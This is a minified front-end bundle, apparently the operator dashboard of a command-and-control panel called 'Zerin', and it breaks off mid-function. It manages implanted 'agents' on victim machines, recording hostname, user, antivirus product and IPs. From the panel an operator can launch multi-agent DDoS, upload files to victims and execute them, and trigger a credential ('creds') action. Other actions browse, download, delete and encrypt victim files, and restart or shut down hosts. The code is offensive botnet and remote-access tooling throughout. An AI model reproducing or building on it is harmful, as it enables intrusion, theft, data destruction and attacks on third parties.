agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const oe=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(oe)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let L=!1;for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);L=!0;break}}if(!L)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let de=0;de<30;de++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(oe){o(`Execute file failed: ${oe instanceof Error?oe.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(ic,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(ic,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(ic,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(ic,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx($U,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:$})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&$>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${$} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await QE(E),n(ce=>ce.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:Y,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Ne.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:Ne.length})," ",f," agent",Ne.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:Ne.length>0&&Ne.filter(E=>E.status!=="dead").every(E=>D.has(E.id)),onChange:E=>{E.target.checked?G(new Set(Ne.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):G(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),VU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,a.jsx(KU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:Ne.map(E=>a.jsxs("tr",{onClick:()=>H(E),onContextMenu:ce=>se(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:D.has(E.id),onChange:ce=>{G(J=>{const xe=new Set(J);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(xd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Io(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Lo(E.last_seen),children:eu(E.last_seen)})]},E.id))})]})})})]}),D.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[D.size," agent",D.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>K(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>G(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),R&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>K(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>K(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(lS,{agentIds:[...D]})]})}),_&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",D.size," agent",D.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:F,onChange:E=>U(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:V,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(F.trim()){ue(!0),ye(null);try{const E=[F.trim()];V.trim()&&V.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...D].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=D.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{ue(!1)}}},disabled:ae||!F.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[ae?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",D.size>1?` (${D.size})`:""]})]})]})}),a.jsx(b_,{x:h.x,y:h.y,visible:h.visible,onAction:W,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(Dj,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(j_,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(GU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await n6(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>k(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>k(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),k(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),z&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:z.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:O,onChange:E=>A(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:T,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{T.trim()&&Me(z.agentId,{command:"troll_msgbox",args:[T,O||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!T.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function ic({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function KU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function GU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Io(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:Ij(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:no(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Lo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:eu(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(BU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const YU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},qU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},XU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function ZU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${YU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${XU[s.type]} select-none`,children:qU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function QU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),k=t==="dead",z=m.useRef(null),S=m.useRef(null),O=m.useRef(null);m.useEffect(()=>()=>{z.current&&clearInterval(z.current)},[]),m.useEffect(()=>{if(!p)return;const V=ae=>{ae.button!==2&&S.current&&!S.current.contains(ae.target)&&h(null)},Z=ae=>{ae.key==="Escape"&&h(null)};return document.addEventListener("mousedown",V),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",V),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var V;return(V=O.current)==null?void 0:V.focus()},50)},[y]);const A=m.useCallback(V=>new Promise((Z,ae)=>{let ue=0;const be=30,ye=setInterval(async()=>{var q;ue++;try{const C=(q=(await Xn(e)).results)==null?void 0:q.find(Y=>Y.task_id===V);C?(clearInterval(ye),C.error?ae(new Error(C.error)):Z({output:C.output,data:C.data})):ue>=be&&(clearInterval(ye),ae(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),T=m.useCallback(async V=>{if(!k){l(!0),u(""),s([]),z.current&&(clearInterval(z.current),z.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[V]});r(V),f(!0);let ae=0;const ue=30;z.current=setInterval(async()=>{var be;ae++;try{const q=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(q){if(z.current&&clearInterval(z.current),z.current=null,l(!1),q.error){u(q.error);return}if(q.output){const te=q.output.split(` +`).slice(2),C=[];for(const Y of te){if(Y.length<35)continue;const ne=Y.substring(0,12).trim(),B=Y.substring(13,33).trim();let le=Y.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else ae>=ue&&(z.current&&clearInterval(z.current),z.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,k]),P=V=>{if(V.name.includes("..")||V.name.includes("/")||V.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+V.name},D=V=>{N(V),setTimeout(()=>N(""),5e3)},G=async V=>{h(null),g("download"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"download",args:[Z]}),ue=await A(ae);if(ue.data){let be;try{be=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let Y=0;Y{h(null),g("delete"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"delete",args:[Z]});await A(ae),D(`Deleted ${V.name}`),T(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},K=async(V,Z,ae)=>{v(null),w(""),g(V),u(""),N("");try{const ue=P(Z),{task_id:be}=await Me(e,{command:V,args:[ue,ae]}),ye=await A(be);D(ye.output||`${V==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),T(n)}catch(ue){u(ue instanceof Error?ue.message:`${V} failed`)}finally{g(null)}},_=async V=>{h(null),g("execute"),u(""),N("");try{const Z=P(V),{task_id:ae}=await Me(e,{command:"execute",args:[Z]}),ue=await A(ae);D(ue.output||`Executed ${V.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},M=(V,Z)=>{V.preventDefault(),V.stopPropagation();const ae=180,ue=220;let 